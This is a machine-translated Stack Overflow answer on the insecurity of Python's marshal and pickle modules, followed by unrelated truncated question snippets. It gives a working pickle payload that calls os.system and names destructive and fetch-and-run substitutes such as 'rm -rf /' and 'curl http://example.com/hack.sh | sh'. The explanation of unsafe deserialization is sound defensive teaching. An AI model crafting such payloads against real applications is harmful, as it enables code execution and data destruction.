- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
我在一个项目中使用 cPickle
来快速加载文件。几天前,我读到 marshal
甚至可以比 cPickle
更快。它对我有用,但我很好奇,来自 the documentation 的警告是什么?关于:
Warning
The
marshal
module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source.
如果我不小心,究竟会发生什么?
最佳答案
没有已知方法可以利用marshal
。实际执行代码时使用 marshal.loads()
不是我能做的,看着marhal.c
源代码,我没有立即看到明显的方法。
那么为什么会出现这个警告呢? The BDFL explains :
BTW the warning for marshal is legit -- the C code that unpacks marshal data has not been carefully analyzed against buffer overflows and so on. Remember the first time someone broke into a system through a malicious JPEG? The same could happen with marshal. Seriously.
我建议您阅读其余的讨论;错误显示在哪里解码数据会导致 Python 出现段错误;自 Python 以来,这已得到修复2.5(这个错误可能会被滥用来执行代码)。其他错误可能不过仍然存在!
此外,marshal
文档提到:
This is not a general “persistence” module. [..] The marshal module exists mainly to support reading and writing the “pseudo-compiled” code for Python modules of .pyc files.
因此,它甚至不是为了以可靠的方式持久化数据而设计的。
您可以使用pickle
轻松执行任意代码。例如:
>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.")
bin data download home lib64 mnt proc run srv tmp usr var
boot dev etc lib lost+found opt root sbin sys ubuntu vagrant
0
这是一个无害的 ls/
,但也可以是一个不太无害的 rm -rf/
,或者 curl http://example.com/hack.sh | sh
.
您可以使用 pickletools
模块查看其工作原理:
>>> import pickletools
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.")
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'ls /'
20: t TUPLE (MARK at 11)
21: R REDUCE
22: . STOP
pickle.py
对这些操作码的含义有一些评论:
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
MARK = b'(' # push special markobject on stack
STRING = b'S' # push string; NL-terminated string argument
TUPLE = b't' # build tuple from topmost stack items
REDUCE = b'R' # apply callable to argtuple, both on stack
STOP = b'.' # every pickle ends with STOP
其中大部分是不言自明的;使用 GLOBAL
您可以获得任何功能,并且用 REDUCE
调用它。
由于 Python 非常动态,您还可以使用它来猴子修补程序在运行时。例如,您可以将 check_password
函数更改为将密码上传到服务器的地方。
XML、json、MessagePack、ini 文件或其他内容。这取决于哪种格式最适合您的情况。
这段代码是否“针对缓冲区溢出等问题进行了仔分割析”?谁知道。大多数代码都没有,C 使得做错事变得容易。1 即使是 Python代码可能容易受到攻击,因为它 may call functions implemented in C that arevulnerable .
有have been problems with Python's JSON module .但同时时间,它在面向公众的应用程序中使用了很多,所以它可能是安全的。它会肯定比 marshal
更安全,因为它只是为 .pyc
文件设计的并明确附带“未审核!”警告。
这当然不能保证。请记住 YAML security hole a few years backthat caused every Ruby on Rails application in the world to be vulnerable toarbitrary code execution .哎呀!这甚至不是一个微妙的缓冲区溢出,但一个更明显的问题。
注意你不应该使用yaml的 load()
方法,因为它有 thesame problems as Ruby's YAML .请改用 safe_load()
。
pickle
模块中的警告非常有根据(应该是state stronger),而 marshal
模块上方的警告似乎更多“此代码在设计时并未考虑安全”类型的警告,但是实际上利用它并不容易,并且依赖于假设的存在关于未知的错误。不过,您最好还是使用其他东西。
1 开源项目确实应该有一个“针对缓冲区溢出等进行仔分割析”的信任印章。是的,您可以花大价钱让 Veracode 等分析您的代码,但这对于开源项目来说是不可行的。在几年前以 Core Infrastructure Initiative 的形式出现 OpenSSL Heartbleed clusterfuck 之后,一些努力做到这一点。 ,但它的范围和预算相当有限(但它还很年轻,可能会在几年内获得关注)。
关于python - 编码(marshal)反序列化 - 不安全,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26931919/
我正在阅读 Python 文档以真正深入了解 Python 语言,并遇到了 filter 和 map 函数。我以前使用过过滤器,但从未使用过映射,尽管我在 SO 上的各种 Python 问题中都见过这
当我尝试打印 BST 的级别顺序时,这个问题提示了我。 这是一个 Pre-Order Sequence: 4, 1, 2, 3, 5, 6, 7, 8 In_order Sequence : 1, 2
我的代码在 main(序列测试;)的第一行出现错误,指出它是对 sequence::sequence() 的 undefined reference 。我无法更改 main 中的代码。有谁知道我该如何
这可能很简单,但我在通常的 latex 指南中找不到任何相关内容。在这句话中: {\em hello\/} “\/”的目的是什么? 最佳答案 这就是所谓的斜体校正。其目的是确保斜体文本后有适当的间距。
当我从 Postgresql 表中删除所有记录,然后尝试重置序列以在插入时开始一个编号为 1 的新记录时,我得到不同的结果: SELECT setval('tblname_id_seq', (SELE
在版本10.0.3中,MariaDB引入了一种称为序列的存储引擎。 其ad hoc为操作生成整数序列,然后终止。 该序列包含正整数,以降序或升序排列,并使用起始,结束和递增值。 它不允许在多个查询中
如何在 Groovy 中获取给定数字的序列,例如: def number = 169 // need a method in groovy to find the consecutive number
基本上,如果这是 .NET,它看起来像这样: ISomething { string A { get; } int B { get; } } var somethings = new List
说以下代码部分(同一块): A <= 1 A <= 2 变量 A 总是被赋值为 2 吗?还是会出现竞争条件并分配 1 或 2? 我对非阻塞赋值的理解是,由硬件在 future 分配变量 A,因此它可能
在运行 WiX 设置时,我正在寻找操作列表及其顺序。不知何故,官方网站似乎没有提供任何信息。 基本问题是我想正确安排我的自定义操作。通常我需要使用 regsvr32.exe 注册一个 DLL,而这只能
F#初学者在这里 我想创建一个类型,它是具有至少一个元素的另一种具体类型(事件)的序列。任何其他元素都可以在以后随时添加。通常在 C# 中,我会创建一个具有私有(private) List 和公共(p
作为构建过程和不断发展的数据库的一部分,我试图创建一个脚本,该脚本将删除用户的所有表和序列。我不想重新创建用户,因为这将需要比所允许的更多的权限。 我的脚本创建了一个过程来删除表/序列,执行该过程,然
我想恢复两个向量的第一个日期和相同向量的第二个日期之间的日期序列,.... 这是一个例子: dates1 = as.Date(c('2015-10-01', '2015-03-27', '2015-0
这个问题已经有答案了: sql ORDER BY multiple values in specific order? (12 个回答) 已关闭 9 年前。 我有一个 sql 语句,我想要ORDER
我想恢复两个向量的第一个日期和相同向量的第二个日期之间的日期序列,.... 这是一个例子: dates1 = as.Date(c('2015-10-01', '2015-03-27', '2015-0
在用java编写代码时,我需要用“],[”分割字符串。下面是我的代码。 try (BufferedReader reader = new BufferedReader(new InputStreamR
这个问题已经有答案了: Project Euler Question 14 (Collatz Problem) (8 个回答) 已关闭 9 年前。 我正在尝试查找数字的 Collatz 序列。以下
我有一个例程函数process_letter_location(const char& c, string &word)。 在我的 main 中,我声明了一系列字符串变量,如下所示: string s
我需要找到最长的多米诺骨牌链,给定一组 12 个随机挑选的多米诺骨牌。我已经递归地生成了多米诺骨牌的所有可能性(使用 0 到 12 的面值有 91 种可能性)。多米诺骨牌由一 block “砖 blo
我有这个数据结构 Seq,它继承了类 vector 但有一些额外的功能。使用这个数据结构 Seq 我有这个预定义的数据结构: typedef Seq > MxInt2d; 我现在想要一个包含多个 Mx
我是一名优秀的程序员,十分优秀!